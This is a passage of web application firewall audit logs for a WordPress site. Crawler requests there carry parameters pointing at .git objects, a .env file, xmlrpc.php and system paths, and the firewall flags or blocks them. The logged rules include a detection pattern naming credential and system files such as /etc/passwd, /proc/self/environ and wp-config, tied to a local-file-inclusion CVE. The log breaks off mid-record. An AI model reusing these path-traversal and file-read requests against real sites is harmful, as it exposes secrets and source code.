{"transaction":{"time":"13/Mar/2026:06:24:52.736683 +0100","transaction_id":"abOfpGctLZHX5xWTcqfXPgAAAgU","remote_address":"57.141.20.32","remote_port":52714,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/dairy-products/?edit=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/b4/87aeddc8a833f1841c1850ade14d6426b43a18 HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.32","X-Forwarded-Proto":"https","X-Request-Id":"c4ff09e39c3f0acd270f27b31f15fc72","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"10682826"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2466>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"c4ff09e39c3f0acd270f27b31f15fc72","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["String match \"/.git/\" at REQUEST_URI. [file \"/usr/share/modsecurity_lws/007_i360_custom.conf\"] [line \"370\"] [id \"77318034\"] [msg \"IM360 WAF: Detected access to git folder||RSV:7.71||T:APACHE||MV:/service/dairy-products/?edit=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/b4/87aeddc8a833f1841c1850ade14d6426b43a18||\"] [severity \"NOTICE\"] [tag \"service_im360\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":332,"p2":4988,"p3":0,"p4":0,"p5":323,"sr":113,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:06:25:49.202981 +0100","transaction_id":"abOf3FmBVxWGJzaI8WA30gAAAY4","remote_address":"57.141.20.49","remote_port":56408,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/organic-products/?rename=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/9f/85dc250740a14b7209f471221390fcbcaf227b HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.49","X-Forwarded-Proto":"https","X-Request-Id":"305406b9709f4282e341ebb7a5016cd8","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"2229418"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2480>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"305406b9709f4282e341ebb7a5016cd8","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["String match \"/.git/\" at REQUEST_URI. [file \"/usr/share/modsecurity_lws/007_i360_custom.conf\"] [line \"370\"] [id \"77318034\"] [msg \"IM360 WAF: Detected access to git folder||RSV:7.71||T:APACHE||MV:/service/organic-products/?rename=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/9f/85dc250740a14b7209f471221390fcbcaf227b||\"] [severity \"NOTICE\"] [tag \"service_im360\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":230,"p2":4492,"p3":0,"p4":0,"p5":395,"sr":128,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:06:26:15.809790 +0100","transaction_id":"abOf9-zjYSjefEszC8x2GQAAAdM","remote_address":"57.141.20.21","remote_port":41332,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/dairy-products/?rename=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/4e/7bedc366e2f28a0e940c303ef436c1967c7e25 HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.21","X-Forwarded-Proto":"https","X-Request-Id":"0353b61ff4cb8cc2f688690f4b63a2ac","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"2098624"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2466>; rel=shortlink","Upgrade":"h2,h2c","Connection":"Upgrade","Vary":"Accept-Encoding","X-Orig-Rid":"0353b61ff4cb8cc2f688690f4b63a2ac","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["String match \"/.git/\" at REQUEST_URI. [file \"/usr/share/modsecurity_lws/007_i360_custom.conf\"] [line \"370\"] [id \"77318034\"] [msg \"IM360 WAF: Detected access to git folder||RSV:7.71||T:APACHE||MV:/service/dairy-products/?rename=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/4e/7bedc366e2f28a0e940c303ef436c1967c7e25||\"] [severity \"NOTICE\"] [tag \"service_im360\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":184,"p2":3765,"p3":0,"p4":0,"p5":378,"sr":99,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:06:26:27.398826 +0100","transaction_id":"abOgA7C1B_6BYICFawu2dQAAAU4","remote_address":"216.73.216.152","remote_port":50854,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?view=%2Fhtdocs%2Fptso.jmkconsulting-ci.com%2Fxmlrpc.php HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"a471f1164ed6a433d1dbba4979c65999","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"7767533"}},"response":{"protocol":"HTTP/1.1","status":406,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"a471f1164ed6a433d1dbba4979c65999","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 406 (phase 2). String match \"xmlrpc.php\" at REQUEST_URI. [file \"/usr/share/modsecurity_lws/me_rules.conf\"] [line \"2222\"] [id \"580004\"] [msg \"Malware.Expert - Wordpress - xmlrpc.php accept only POST requests\"] [tag \"MEWAF\"]"],"error_messages":["[file \"apache2_util.c\"] [line 286] [level 3] ModSecurity: Access denied with code 406 (phase 2). String match \"xmlrpc.php\" at REQUEST_URI. [file \"/usr/share/modsecurity_lws/me_rules.conf\"] [line \"2222\"] [id \"580004\"] [msg \"Malware.Expert - Wordpress - xmlrpc.php accept only POST requests\"] [tag \"MEWAF\"] [hostname \"ptso.jmkconsulting-ci.com\"] [uri \"/service/agriculture-products/\"] [unique_id \"abOgA7C1B_6BYICFawu2dQAAAU4\"]"],"action":{"intercepted":true,"phase":2,"message":"String match \"xmlrpc.php\" at REQUEST_URI."},"stopwatch":{"p1":173,"p2":3067,"p3":0,"p4":0,"p5":309,"sr":124,"sw":115,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:06:26:27.779454 +0100","transaction_id":"abOgA2ctLZHX5xWTcqfX5gAAAgo","remote_address":"57.141.20.14","remote_port":45918,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/dairy-products/?rename=/usr/base/usr/share/terminfo/p/pc-minix HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.14","X-Forwarded-Proto":"https","X-Request-Id":"5ffcaeed3ccb85a60d1bf2e0ab189983","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"11304969"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2466>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"5ffcaeed3ccb85a60d1bf2e0ab189983","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/usr/share/terminfo/p/pc-minix||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":203,"p2":3640,"p3":0,"p4":0,"p5":236,"sr":120,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:06:26:28.434468 +0100","transaction_id":"abOgBFmBVxWGJzaI8WA3_wAAAYs","remote_address":"216.73.216.152","remote_port":38460,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?edit=%2Fhtdocs%2Fptso.jmkconsulting-ci.com%2Fxmlrpc.php HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"6c0ac1a1a43a30278426e33efc4f7642","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"11010434"}},"response":{"protocol":"HTTP/1.1","status":406,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"6c0ac1a1a43a30278426e33efc4f7642","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 406 (phase 2). String match \"xmlrpc.php\" at REQUEST_URI. [file \"/usr/share/modsecurity_lws/me_rules.conf\"] [line \"2222\"] [id \"580004\"] [msg \"Malware.Expert - Wordpress - xmlrpc.php accept only POST requests\"] [tag \"MEWAF\"]"],"error_messages":["[file \"apache2_util.c\"] [line 286] [level 3] ModSecurity: Access denied with code 406 (phase 2). String match \"xmlrpc.php\" at REQUEST_URI. [file \"/usr/share/modsecurity_lws/me_rules.conf\"] [line \"2222\"] [id \"580004\"] [msg \"Malware.Expert - Wordpress - xmlrpc.php accept only POST requests\"] [tag \"MEWAF\"] [hostname \"ptso.jmkconsulting-ci.com\"] [uri \"/service/agriculture-products/\"] [unique_id \"abOgBFmBVxWGJzaI8WA3_wAAAYs\"]"],"action":{"intercepted":true,"phase":2,"message":"String match \"xmlrpc.php\" at REQUEST_URI."},"stopwatch":{"p1":173,"p2":3049,"p3":0,"p4":0,"p5":308,"sr":128,"sw":138,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:06:26:44.730976 +0100","transaction_id":"abOgFGctLZHX5xWTcqfYBAAAAgw","remote_address":"57.141.20.29","remote_port":43008,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?edit=/htdocs/coopo.jmkconsulting-ci.com/SCAES/.git/objects/e6/74ccf362f2c3bc65d87fe588d640591e0a60db HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.29","X-Forwarded-Proto":"https","X-Request-Id":"0aa35937a4d6e458d18ae0b09a475222","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"2098658"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2488>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"0aa35937a4d6e458d18ae0b09a475222","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["String match \"/.git/\" at REQUEST_URI. [file \"/usr/share/modsecurity_lws/007_i360_custom.conf\"] [line \"370\"] [id \"77318034\"] [msg \"IM360 WAF: Detected access to git folder||RSV:7.71||T:APACHE||MV:/service/agriculture-products/?edit=/htdocs/coopo.jmkconsulting-ci.com/scaes/.git/objects/e6/74ccf362f2c3bc65d87fe588d640591e0a60db||\"] [severity \"NOTICE\"] [tag \"service_im360\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":355,"p2":6746,"p3":0,"p4":0,"p5":346,"sr":155,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:06:26:54.376117 +0100","transaction_id":"abOgHRLi46gS4DJVzjWSrgAAAlQ","remote_address":"57.141.20.5","remote_port":41296,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/fresh-vegetables/?rename=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/3d/e31f8e8ebfb3e545ef02970f1fba165d7e7e93 HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.5","X-Forwarded-Proto":"https","X-Request-Id":"5d457cded4cacf3f15b2e0956993ec01","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"4394210"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2474>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"5d457cded4cacf3f15b2e0956993ec01","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["String match \"/.git/\" at REQUEST_URI. [file \"/usr/share/modsecurity_lws/007_i360_custom.conf\"] [line \"370\"] [id \"77318034\"] [msg \"IM360 WAF: Detected access to git folder||RSV:7.71||T:APACHE||MV:/service/fresh-vegetables/?rename=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/3d/e31f8e8ebfb3e545ef02970f1fba165d7e7e93||\"] [severity \"NOTICE\"] [tag \"service_im360\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":369,"p2":12103,"p3":0,"p4":0,"p5":341,"sr":160,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:06:27:10.834196 +0100","transaction_id":"abOgLlmBVxWGJzaI8WA4YgAAAZE","remote_address":"57.141.20.8","remote_port":54360,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/dairy-products/?rename=/usr/base/opt/php8.5/include/php/Zend/zend_property_hooks.h HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.8","X-Forwarded-Proto":"https","X-Request-Id":"c55706f4423ff3dfef11447c6f0972d3","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"11665444"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2466>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"c55706f4423ff3dfef11447c6f0972d3","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/opt/php8.5/include/php/Zend/zend_property_hooks.h||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":202,"p2":3875,"p3":0,"p4":0,"p5":320,"sr":110,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:06:27:20.544881 +0100","transaction_id":"abOgOLC1B_6BYICFawu26gAAAUo","remote_address":"57.141.20.55","remote_port":42990,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/dairy-products/?dir=/htdocs/coopo.jmkconsulting-ci.com/SCAES/.git/objects/d6 HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.55","X-Forwarded-Proto":"https","X-Request-Id":"e11841e3acb976f64552af1833eae020","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"11698258"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2466>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"e11841e3acb976f64552af1833eae020","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["String match \"/.git/\" at REQUEST_URI. [file \"/usr/share/modsecurity_lws/007_i360_custom.conf\"] [line \"370\"] [id \"77318034\"] [msg \"IM360 WAF: Detected access to git folder||RSV:7.71||T:APACHE||MV:/service/dairy-products/?dir=/htdocs/coopo.jmkconsulting-ci.com/scaes/.git/objects/d6||\"] [severity \"NOTICE\"] [tag \"service_im360\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":316,"p2":5713,"p3":0,"p4":0,"p5":289,"sr":159,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:06:27:21.341517 +0100","transaction_id":"abOgOWctLZHX5xWTcqfYKwAAAgw","remote_address":"57.141.20.4","remote_port":43008,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/dairy-products/?rename=/sftproot/htdocs/jmknew.jmkconsulting-ci.com/gdata/.env HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.4","X-Forwarded-Proto":"https","X-Request-Id":"aaf01e1b08e42987f06f80c8d976f573","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"10289508"}},"response":{"protocol":"HTTP/1.1","status":406,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"aaf01e1b08e42987f06f80c8d976f573","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 406 (phase 2). String match \"/.env\" at REQUEST_URI. [file \"/usr/share/modsecurity_lws/me_rules.conf\"] [line \"636\"] [id \"430057\"] [msg \"Malware.Expert - request_uri: .ENV Files\"] [tag \"MEWAF\"]"],"error_messages":["[file \"apache2_util.c\"] [line 286] [level 3] ModSecurity: Access denied with code 406 (phase 2). String match \"/.env\" at REQUEST_URI. [file \"/usr/share/modsecurity_lws/me_rules.conf\"] [line \"636\"] [id \"430057\"] [msg \"Malware.Expert - request_uri: .ENV Files\"] [tag \"MEWAF\"] [hostname \"ptso.jmkconsulting-ci.com\"] [uri \"/service/dairy-products/\"] [unique_id \"abOgOWctLZHX5xWTcqfYKwAAAgw\"]"],"action":{"intercepted":true,"phase":2,"message":"String match \"/.env\" at REQUEST_URI."},"stopwatch":{"p1":323,"p2":4776,"p3":0,"p4":0,"p5":363,"sr":149,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:06:27:25.505824 +0100","transaction_id":"abOgPbC1B_6BYICFawu3AwAAAVI","remote_address":"57.141.20.39","remote_port":42608,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/fresh-vegetables/?rename=/usr/base/var/lib/apps/tfm2/style/index.html HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.39","X-Forwarded-Proto":"https","X-Request-Id":"c55165e2b675c870ac1c1f46a04b1349","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"11403292"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2474>; rel=shortlink","Upgrade":"h2,h2c","Connection":"Upgrade","Vary":"Accept-Encoding","X-Orig-Rid":"c55165e2b675c870ac1c1f46a04b1349","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/var/lib/apps/tfm2/style/index.html||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":293,"p2":6121,"p3":0,"p4":0,"p5":362,"sr":128,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:06:27:28.636300 +0100","transaction_id":"abOgQLC1B_6BYICFawu3BQAAAUk","remote_address":"57.141.20.46","remote_port":51154,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/dairy-products/?edit=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/62/72ce7798f7b9e4f3e1dad7889798d8ce7d5916 HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.46","X-Forwarded-Proto":"https","X-Request-Id":"b3236d62780622f9da8c0028d9a765b9","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"10682906"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2466>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"b3236d62780622f9da8c0028d9a765b9","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["String match \"/.git/\" at REQUEST_URI. [file \"/usr/share/modsecurity_lws/007_i360_custom.conf\"] [line \"370\"] [id \"77318034\"] [msg \"IM360 WAF: Detected access to git 